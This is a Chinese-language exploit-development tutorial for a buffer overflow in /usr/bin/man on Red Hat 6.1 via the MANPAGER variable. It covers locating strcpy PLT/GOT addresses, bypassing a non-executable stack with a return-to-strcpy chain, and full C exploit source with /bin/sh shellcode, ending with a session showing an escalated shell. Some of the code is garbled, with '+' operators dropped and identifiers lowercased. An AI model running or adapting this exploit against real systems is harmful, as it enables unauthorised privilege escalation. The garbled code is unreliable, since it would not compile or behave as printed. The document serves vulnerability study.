缓冲区溢出分析

1. 简介

我在 http://www.hack.co.za/ 上看到 lam3rz 小组的 kil3r 写的一个针对
redhat 6.1 (and others) /usr/bin/man exploit，下载回来后，直接编译运行，并
没有完成攻击。注意到原exploit是针对不可执行堆栈环境编写的，而我测试的主机
没有打不可执行堆栈补丁等等。其实针对不可执行堆栈环境的缓冲区溢出技术同样可
以用于"常规"环境，所以就此次攻击做一完整描述，抛砖引玉，见笑。

2. 问题描述

/usr/bin/man 会使用 manpager 环境变量，关于这个变量的细节请 man man 查看。
当 manpager 变量设置成超长字符串时，会导致 /usr/bin/man 执行中缓冲区溢出。

[scz@ /home/scz/src]> export manpager=`perl -e 'print "a"x1'`
[scz@ /home/scz/src]> man ls
sh: a: command not found
error executing formatting or display command.
system command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |
/usr/bin/groff -tlatin1 -mandoc | a) exited with status 127.
no manual entry for ls ^
[scz@ /home/scz/src]> |
|
------<------ 注意这里就是 manpager 变量

注意到命令最后通过管道符'|'传递给了 manpager 变量所指定的程序。

我们重复类似的操作，不断加大 manpager 变量的长度，直到发生溢出。用"二分法"
较快地确定出当长度最小为 3945 时，缓冲区溢出并导致段错误。

[scz@ /home/scz/src]> export manpager=`perl -e 'print "a"x3945'`
[scz@ /home/scz/src]> man ls
sh: a...a: command not found
error executing formatting or display command.
system command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |
/usr/bin/groff -tlatin1 -mandoc | a...a) exited with status 127.
segmentation fault <-- -- -- 这里已经出现段错误，通常是指针操作访问非法地
[scz@ /home/scz/src]> 址造成，很可能某个函数的返回地址已经被覆盖掉
[scz@ /home/scz/src]> unset manpager <-- -- -- 这里删除该环境变量恢复正常

3. 攻击思路

姑且假设 /usr/bin/man 执行过程中读取 manpager 变量到一个缓冲区中，由于未做
边界检查导致溢出，并覆盖了某个函数的返回地址。显然，覆盖值来自 manpager 变
量的值，换句话说，用于覆盖的返回地址来自 manpager 变量的值。

在"常规"环境下，理论上可以直接通过 manpager 变量传递用于覆盖的返回地址以及
shellcode本身，因为3945大小的缓冲区已经足以做任何事情，也可以仅仅通过
manpager 变量传递用于覆盖的返回地址，利用其他自定义环境变量传递shellcode。

在不可执行堆栈环境下，上述两种传递shellcode的办法都因为shellcode位于堆栈高
区，无法覆盖返回地址指向我们的shellcode。请参看tt在绿盟网络安全月刊第8期中
的<< 绕过linux不可执行堆栈保护方法浅析 >>，具体的技术原理不再赘述。

lam3rz 小组的 kil3r 所编写的exploit code采用的技术是，用于覆盖的返回地址指
向 strcpy() 函数的 plt 入口(过程链接表入口)，同时在堆栈中利用 manpager 变
量的缓冲区溢出，伪造一个发生常规 strcpy() 函数调用时所需要的假栈帧。
shellcode采用自定义环境变量的技术传递进入堆栈高区，因为使用了 execle() 函
数调用，该shellcode在 /usr/bin/man 进程地址空间中的位置相对固定，很容易猜
测调整。当返回地址被成功覆盖后，程序流程随着问题函数的返回而转向一个
strcpy() 函数调用，strcpy() 函数调用会将shellcode从 /usr/bin/man 进程的环
境变量区(堆栈高区)拷贝到另外一个区域，这个区域要求在不可执行堆栈环境下依旧
可写可执行，该区域必须在 /usr/bin/man 进程的地址空间内。显然，这个区域的地
址需要提前猜测确定，因为该区域的地址作为 strcpy() 函数调用的目标地址，必须
在伪造假栈帧时提供，后面我们会介绍猜测确定该区域地址的技术手段。

至于 strcpy() 函数调用完成，我们的shellcode已经进入可执行区域，流程又是如
何转向我们自己的shellcode，请参看tt在绿盟网络安全月刊第8期中的
<< 绕过linux不可执行堆栈保护方法浅析 >>，内有图示，我看得头都快白了，总算
理解，chat* sigh。

从上面的攻击思路分析中完全可以看出，lam3rz 小组的 kil3r 的攻击手段适用范围
要广些，所以我们先采用这种技术完成一次攻击。

4. 攻击第一步，猜测确定几个关键地址

(1) 确定 /usr/bin/man 中 strcpy() 函数的 plt 入口

[scz@ /home/scz/src]> gdb /usr/bin/man
gnu gdb 4.18
this gdb was configured as "i386-redhat-linux"...
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x80490e4 <strcpy>
(gdb) q ^
[scz@ /home/scz/src]> |
|
#define strcpyplt 0x080490e4 ------>------

因为缓冲区溢出发生在 /usr/bin/man 进程地址空间中，我们需要确定的 strcpy()
函数的 plt 入口也应该是 /usr/bin/man 中 strcpy() 函数的 plt 入口。该入口
和 /usr/bin/man 文件二进制映像有关，对于某个确定的elf格式的程序文件，该
入口相对固定。

(2) 猜测确定一个在不可执行堆栈环境下 /usr/bin/man 进程空间中可写可执行的区
域地址

[scz@ /home/scz/src]> man ls
ctrl-z <-- -- -- 输入 ctrl-z 挂起 man ls
[scz@ /home/scz/src]> jobs
[1] stopped man ls
[scz@ /home/scz/src]> ps -ef | grep man
scz 2377 1860 0 12:03 pts/2 00:00:00 man ls
[scz@ /home/scz/src]> cat /proc/2377/maps
08050000-08051000 rw-p 00007000 03:06 36427 /usr/bin/man
[scz@ /home/scz/src]> fg %1
q <-- -- -- 退出 man ls
[scz@ /home/scz/src]>

这个区域显示的是可读写，并没有可执行，但实际是可执行的。我们挑选一个处在4
字节对齐边界上的地址，将来shellcode最终被拷贝到该地址并在该地址上开始执行。

#define shellcodetarget 0x0805010c

注意，这里的 shellcodetarget 需要出现在 manpager 环境变量中，所以不得出现
零值。我当时挑选了 0x08050100 ，结果总是不能正确溢出，后来才想起这个毛病所
在。

我们可以不通过 /proc/<pid>/maps 文件查找满足条件的区域地址，而直接使用
strcpy() 函数的 got 入口(全局偏移表入口)地址。

[scz@ /home/scz/src]> gdb /usr/bin/man
gnu gdb 4.18
this gdb was configured as "i386-redhat-linux"...
(gdb) disas strcpy
0x80490e4 <strcpy> : jmp *0x8050cac
0x80490ea <strcpy 6> : push $0x1d8 <-- -- -- 动态链接器使用
0x80490ef <strcpy 11>: jmp 0x8048d24
(gdb) x/1wx 0x8050cac <-- -- -- 全局偏移表中 strcpy 入口地址
0x8050cac <_io_stdin_used 11176>: 0x080490ea
(gdb) q
[scz@ /home/scz/src]>

#define strcpyplt 0x080490e4
#define strcpygot 0x08050cac
#define shellcodetarget strcpygot

显然 strcpygot 符合可写可执行区域的条件。可能你担心直接使用 strcpygot 作为
目标地址，会影响到 strcpy() 函数本身的执行过程。仔细研读上面汇编代码，使用
strcpygot 的时候还没有发生字符串拷贝，换句话说，发生字符串拷贝的时候已经无
所谓 strcpygot 处是什么内容了，反正我们的shellcode是不会使用 strcpy() 函数
的。要是还不放心，就不要直接使用 strcpygot 作为目标地址，而使用 strcpygot
4 作为目标地址，只是不知道全局偏移表中 strcpy 入口地址的下一个又是什么函
数的入口地址，反正都无所谓。

(3) 猜测确定位于 /usr/bin/man 进程环境变量区的shellcode地址

下面的讨论基于一个假设，你已经明白elf文件的内存布局。我们需要通过环境变量
传递shellcode进入 /usr/bin/man 的进程空间，strcpy() 使用这里的shellcode作
为拷贝源。猜测确定拷贝源地址是必须的。

#define vulprogram "/usr/bin/man"
#define shellcodesource ( 0xbffffffc - sizeof( vulprogram ) - sizeof( shellcode ) )

这里唯一需要注意的是 sizeof( vulprogram ) 包括了结尾的'\0'。如果担心不够精
确，可以在shellcode的前部增加 nop 指令。

上面的技术适用于i386/linux平台，对于sparc/solaris平台这样相对复杂的情况，
还可以采用辅助程序观察execle()之后的内存布局，我们在条目6中介绍。

(4) 猜测确定问题缓冲区溢出点

实际上攻击从问题描述就已经开始了，发现问题的同时就开始了攻击过程，问题缓冲
区溢出点显然可以从 3945 9 = 3954 附近考虑。但是，不知道什么缘故，居然无
法得到core文件，也就无法深入调试，最后只好参看 kil3r 的exploit code，发现
他使用的溢出点在4067，因为没有core文件，无法确定发生了什么，为什么3954已经
开始溢出，但真正有效溢出点却在4067，中间相差这么多字节，没有core的日子真难
过。

#define vulpoint 4067

5. 编写针对不可执行堆栈环境的溢出攻击程序

/*
* file : ex_man.c for redhat 6.1 /usr/bin/man
* author : kil3r of lam3rz
* rewriten : scz < mailto: [e-mail] >
* complie : gcc -o ex_man ex_man.c
* usage : ./ex_man
* date : 2000-05-16
*/

#include <stdio.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>

/* 一段标准的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define strcpyplt 0x080490e4
#define strcpygot 0x08050cac
#define retaddress strcpyplt /* 用于覆盖的返回地址 */
#define shellcodetarget strcpygot
#define shellcodesource ( 0xbffffffc - sizeof( vulprogram ) - sizeof( shellcode ) )
#define vulprogram "/usr/bin/man"
#define vulpoint 4067
#define safepadlen 24
#define pad 'a'
#define success 0
#define failure -1

int main ( int argc, char * argv[] )
{
char * vulbuf;
char * env[3];
u_long * pointer;
u_long vulpoint = vulpoint;
u_long vulbufsize = vulpoint safepadlen;

fprintf( stderr, "usage: %s [ vulpoint ]\n", argv[0] );
if ( argc > 1 )
{
vulpoint = strtoul( argv[1], null, 10 );
vulbufsize = vulpoint safepadlen;
}
vulbuf = ( char * )malloc( ( size_t )( vulbufsize ) );
if ( vulbuf == 0 )
{
fprintf( stderr, "can't allocate memory %lu bytes\n", vulbufsize );
exit( failure );
}
fprintf( stderr, "vulpoint = %lu\n", vulpoint );
memset( vulbuf, pad, vulbufsize );
vulbuf[ vulbufsize - 1 ] = '\0';
pointer = ( u_long * )( vulbuf vulpoint );
*pointer = retaddress;
*pointer = shellcodetarget;
*pointer = shellcodetarget;
*pointer = shellcodesource;

memcpy( vulbuf, "manpager=", 9 );
env[0] = vulbuf;
env[1] = shellcode;
env[2] = null;
execle( vulprogram, vulprogram, "ls", null, env );
free( vulbuf );
return( success );
} /* end of main */

[scz@ /home/scz/src]> cat > ex_man.c
[scz@ /home/scz/src]> gcc -o ex_man ex_man.c
[scz@ /home/scz/src]> ./ex_man
usage: ./ex_man [ vulpoint ]
vulpoint = 4067
bash$ id
uid=505(scz) gid=100(users) egid=15(man) groups=100(users)
bash$ exit ^
exit |
[scz@ /home/scz/src]> |
溢出成功 ------>------